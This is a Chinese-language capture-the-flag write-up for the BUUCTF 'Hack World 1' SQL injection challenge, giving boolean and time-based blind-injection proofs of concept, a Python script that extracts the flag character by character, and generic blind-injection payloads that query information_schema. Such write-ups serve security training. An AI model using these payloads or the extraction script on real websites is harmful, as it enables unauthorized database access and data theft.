【BUUCTF】Hack World 1
【BUUCTF】Blacklist (SQL盲注)
题目来源
收录于:BUUCTF CISCN2019 华北赛区 Day2 Web1
题目描述
纯粹的SQL注入题
当输入1时,返回字符串:Hello, glzjin wants a girlfriend.
当输入为2时,返回字符串:Do you want to be my girlfriend?
当输入为其他数字时,返回字符串:Error Occured When Fetch Result.
尝试闭合,发现以下字符被过滤,大小写也无法绕过:
%20 or and union ;
题解
Poc
现在可以确定,当输入1时会返回:Hello, glzjin wants a girlfriend.
由于存在过滤,也不返回报错语句,因此报错注入和堆叠注入都不适用。只能使用盲注。
题目已经给了提示,flag所在表名和列名都叫flag,尝试是否可以使用盲注,PoC如下,两个都可以:
id=if(1,sleep(5),0) //时间盲注
id=(2>1) //布尔盲注
当输入 (2>1) 时,返回如下
说明 2>1 被当作判断语句执行了。
当输入 if(1,sleep(5),0) 时,页面睡了一会儿,因此也可以使用时间盲注。
EXP
构造语句:
id=((select(ascii(substr(flag,$a,1)))from(flag))=$b)
对$a,$b进行枚举。
这里我使用的是布尔盲注,读者可以尝试编写时间盲注的脚本
import requests
target_string = "Hello"
url = "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php"
headers = {
"Host": "937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"Connection": "keep-alive",
"Referer": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
body1 = "id=((select(ascii(substr(flag,"
body2 = ",1)))from(flag))="
body3 = ")"
# 创建一个会话对象
session = requests.Session()
try:
for i in range(1, 50):
for j in range(40, 126):
body = body1 + str(i) + body2 + str(j) + body3
response = session.post(url, headers=headers, data=body)
# 检查响应状态
response.raise_for_status()
# print(response.text)
# 若返回报文中存在字符串“Hello”则说明命中
if target_string in response.text:
print(chr(j), end='')
break
finally:
# 关闭会话
session.close()
执行代码得到flag
总结
当不返回报错语句时,尝试使用盲注。
盲注PoC:
//时间盲注
id = if(1,sleep(5),0)
id = 1 or if(1,sleep(2),0)
//布尔盲注
id = (2>1)
id = -1 or (2>1)
布尔盲注payload:
id= -1 or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx %23
时间盲注payload:
id= -1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx,sleep(2),0) %23